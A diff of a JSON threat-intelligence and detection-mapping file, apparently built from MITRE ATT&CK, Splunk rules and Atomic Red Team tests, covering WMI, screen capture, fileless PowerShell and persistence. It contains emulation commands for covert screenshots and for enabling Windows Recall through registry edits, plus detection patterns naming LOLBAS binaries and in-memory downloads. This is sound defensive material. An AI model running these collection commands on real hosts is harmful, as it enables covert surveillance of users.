"analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Wmiprsve LOLBAS Execution Process Spawn", - "description": "The following analytic detects `wmiprvse.exe` spawning a LOLBAS execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `wmiprvse.exe` is the parent process and the child process is a known LOLBAS binary. This activity is significant as it may indicate lateral movement or remote code execution by an adversary abusing Windows Management Instrumentation (WMI). If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wmiprsve_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wmiprsve.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -101810,6 +96850,7 @@ "import -window root /tmp/T1113_desktop.png\n", "cmd /c start /b psr.exe /start /output c:\\temp\\T1113_desktop.zip /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c \"timeout 5 > NULL && psr.exe /stop\"\n", "Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save(\"$env:TEMP\\T1113.png\")\n", + "reg add \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /f\n", "powershell/collection/screenshot", "python/collection/osx/native_screenshot", "python/collection/osx/native_screenshot_mss", @@ -102032,6 +97073,20 @@ "cleanup_command": "Remove-Item #{output_file} -ErrorAction Ignore\n", "name": "powershell" } + }, + { + "name": "Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted", + "auto_generated_guid": "5a496325-0115-4274-8eb9-755b649ad0fb", + "description": "Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing \"DisableAIDataAnalysis\" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. \n- https://learn.microsoft.com/en-us/windows/client-management/manage-recall\n- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg add \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /f\n", + "cleanup_command": "reg add \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f\n", + "name": "powershell", + "elevation_required": true + } } ] } @@ -102215,253 +97270,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Remcos RAT File Creation in Remcos Folder", - "description": "The following analytic detects the creation of files in the Remcos folder within the AppData directory, specifically targeting keylog and clipboard log files. It leverages the Endpoint.Filesystem data model to identify .dat files created in paths containing \"remcos.\" This activity is significant as it indicates the presence of the Remcos RAT, which performs keylogging, clipboard capturing, and audio recording. If confirmed malicious, this could lead to unauthorized data exfiltration and extensive surveillance capabilities for the attacker.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.dat\") Filesystem.file_path = \"*\\\\remcos\\\\*\" by _time Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.file_create_time | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remcos_rat_file_creation_in_remcos_folder_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "file $file_name$ created in $file_path$ of $dest$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1113", - "mitre_attack_technique": "Screen Capture", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT39", - "BRONZE BUTLER", - "Dark Caracal", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Gamaredon Group", - "Group5", - "Magic Hound", - "MoustachedBouncer", - "MuddyWater", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Suspicious Image Creation In Appdata Folder", - "description": "The following analytic detects the creation of image files in the AppData folder by processes that also have a file reference in the same folder. It leverages data from the Endpoint.Processes and Endpoint.Filesystem datamodels to identify this behavior. This activity is significant because it is commonly associated with malware, such as the Remcos RAT, which captures screenshots and stores them in the AppData folder before exfiltrating them to a command-and-control server. If confirmed malicious, this activity could indicate unauthorized data capture and exfiltration, compromising sensitive information and user privacy.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=*.exe Processes.process_path=\"*\\\\appdata\\\\Roaming\\\\*\" by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |rename process_guid as proc_guid |join proc_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.png\",\"*.jpg\",\"*.bmp\",\"*.gif\",\"*.tiff\") Filesystem.file_path= \"*\\\\appdata\\\\Roaming\\\\*\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` |rename process_guid as proc_guid | fields _time dest file_create_time file_name file_path process_name process_path process proc_guid] | `suspicious_image_creation_in_appdata_folder_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ creating image file $file_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1113", - "mitre_attack_technique": "Screen Capture", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT39", - "BRONZE BUTLER", - "Dark Caracal", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Gamaredon Group", - "Group5", - "Magic Hound", - "MoustachedBouncer", - "MuddyWater", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Suspicious WAV file in Appdata Folder", - "description": "The following analytic detects the creation of .wav files in the AppData folder, a behavior associated with Remcos RAT malware, which stores audio recordings in this location for data exfiltration. The detection leverages endpoint process and filesystem data to identify .wav file creation within the AppData\\Roaming directory. This activity is significant as it indicates potential unauthorized data collection and exfiltration by malware. If confirmed malicious, this could lead to sensitive information being sent to an attacker's command and control server, compromising the affected system's confidentiality.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=*.exe Processes.process_path=\"*\\\\appdata\\\\Roaming\\\\*\" by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |rename process_guid as proc_guid | join proc_guid, _time [ | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.wav\") Filesystem.file_path = \"*\\\\appdata\\\\Roaming\\\\*\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` |rename process_guid as proc_guid | fields file_name file_path process_name process_path process dest file_create_time _time proc_guid] | `suspicious_wav_file_in_appdata_folder_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ creating image file $file_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1113", - "mitre_attack_technique": "Screen Capture", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT39", - "BRONZE BUTLER", - "Dark Caracal", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Gamaredon Group", - "Group5", - "Magic Hound", - "MoustachedBouncer", - "MuddyWater", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Windows Screen Capture Via Powershell", - "description": "The following analytic detects the execution of a PowerShell script designed to capture screen images on a host. It leverages PowerShell Script Block Logging to identify specific script block text patterns associated with screen capture activities. This behavior is significant as it may indicate an attempt to exfiltrate sensitive information by capturing desktop screenshots. If confirmed malicious, this activity could allow an attacker to gather visual data from the compromised system, potentially leading to data breaches or further exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[Drawing.Graphics]::FromImage(*\" AND ScriptBlockText = \"*New-Object Drawing.Bitmap*\" AND ScriptBlockText = \"*.CopyFromScreen*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_screen_capture_via_powershell_filter`", - "tags": { - "analytic_story": [ - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script was identified possibly performing screen captures on $Computer$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1113", - "mitre_attack_technique": "Screen Capture", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT39", - "BRONZE BUTLER", - "Dark Caracal", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Gamaredon Group", - "Group5", - "Magic Hound", - "MoustachedBouncer", - "MuddyWater", - "OilRig", - "Silence" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -102571,398 +97380,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "PowerShell WebRequest Using Memory Stream", - "description": "The following analytic detects the use of .NET classes in PowerShell to download a URL payload directly into memory, a common fileless malware staging technique. It leverages PowerShell Script Block Logging (EventCode=4104) to identify suspicious PowerShell commands involving `system.net.webclient`, `system.net.webrequest`, and `IO.MemoryStream`. This activity is significant as it indicates potential fileless malware execution, which is harder to detect and can bypass traditional file-based defenses. If confirmed malicious, this technique could allow attackers to execute code in memory, evade detection, and maintain persistence in the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*system.net.webclient*\",\"*system.net.webrequest*\") AND ScriptBlockText=\"*IO.MemoryStream*\" | eval Path = case(isnotnull(Path),Path,true(),\"unknown\") | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user by ActivityID, Computer, EventCode | rename Computer as dest, EventCode as signature_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_webrequest_using_memory_stream_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Powershell webrequest to memory stream behavior. Possible fileless malware staging on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Njrat Fileless Storage via Registry", - "description": "The following analytic detects suspicious registry modifications indicative of NjRat's fileless storage technique. It leverages the Endpoint.Registry data model to identify specific registry paths and values commonly used by NjRat for keylogging and executing DLL plugins. This activity is significant as it helps evade traditional file-based detection systems, making it crucial for SOC analysts to monitor. If confirmed malicious, this behavior could allow attackers to persist on the host, execute arbitrary code, and capture sensitive keystrokes, leading to potential data breaches and further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\[kl]\" OR Registry.registry_value_data IN (\"*[ENTER]*\", \"*[TAP]*\", \"*[Back]*\") by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name Registry.registry_value_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_njrat_fileless_storage_via_registry_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a suspicious registry entry related to NjRAT keylloging registry in $dest$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } - }, - { - "name": "Windows Registry Payload Injection", - "description": "The following analytic detects suspiciously long data written to the Windows registry, a behavior often linked to fileless malware or persistence techniques. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on registry events with data lengths exceeding 512 characters. This activity is significant as it can indicate an attempt to evade traditional file-based defenses, making it crucial for SOC monitoring. If confirmed malicious, this technique could allow attackers to maintain persistence, execute code, or manipulate system configurations without leaving a conventional file footprint.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid| `drop_dm_object_name(Processes)` | join max=0 dest process_guid [| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_value_data=* by _time span=1h Registry.dest Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | eval reg_data_len = len(registry_value_data) | where reg_data_len > 512] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data)| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_registry_payload_injection_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ added a suspicious length of registry data on $dest$.", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -103699,137 +98117,7 @@ "Event ID": "4663", "Event Name": "File monitoring" } - ], - { - "name": "Linux File Creation In Init Boot Directory", - "description": "The following analytic detects the creation of files in Linux init boot directories, which are used for automatic execution upon system startup. It leverages file system logs to identify new files in directories such as /etc/init.d/ and /etc/rc.d/. This activity is significant as it is a common persistence technique used by adversaries, malware authors, and red teamers. If confirmed malicious, this could allow an attacker to maintain persistence on the compromised host, potentially leading to further exploitation and unauthorized control over the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/init.d/*\", \"*/etc/rc.d/*\", \"*/sbin/init.d/*\", \"*/etc/rc.local*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_creation_in_init_boot_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1037.004", - "mitre_attack_technique": "RC Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1037", - "mitre_attack_technique": "Boot or Logon Initialization Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "Rocke" - ] - } - ] - } - }, - { - "name": "Logon Script Event Trigger Execution", - "description": "The following analytic detects the modification of the UserInitMprLogonScript registry entry, which is often used by attackers to establish persistence and gain privilege escalation upon system boot. It leverages data from the Endpoint.Registry data model, focusing on changes to the specified registry path. This activity is significant because it is a common technique used by APT groups and malware to ensure their payloads execute automatically when the system starts. If confirmed malicious, this could allow attackers to maintain persistent access and potentially escalate their privileges on the compromised host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\Environment\\\\UserInitMprLogonScript\") by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `logon_script_event_trigger_execution_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1037", - "mitre_attack_technique": "Boot or Logon Initialization Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1037.001", - "mitre_attack_technique": "Logon Script (Windows)", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "Cobalt Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -104696,314 +98984,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Detect ARP Poisoning", - "description": "The following analytic detects ARP Poisoning attacks by monitoring for Dynamic ARP Inspection (DAI) errors on Cisco network devices. It leverages logs from Cisco devices, specifically looking for events where the ARP inspection feature has disabled an interface due to suspicious activity. This activity is significant because ARP Poisoning can allow attackers to intercept, modify, or disrupt network traffic, leading to potential data breaches or denial of service. If confirmed malicious, this could enable attackers to perform man-in-the-middle attacks, compromising the integrity and confidentiality of network communications.", - "search": "`cisco_networks` facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"arp-inspection\" | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime count BY host src_interface | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_arp_poisoning_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": 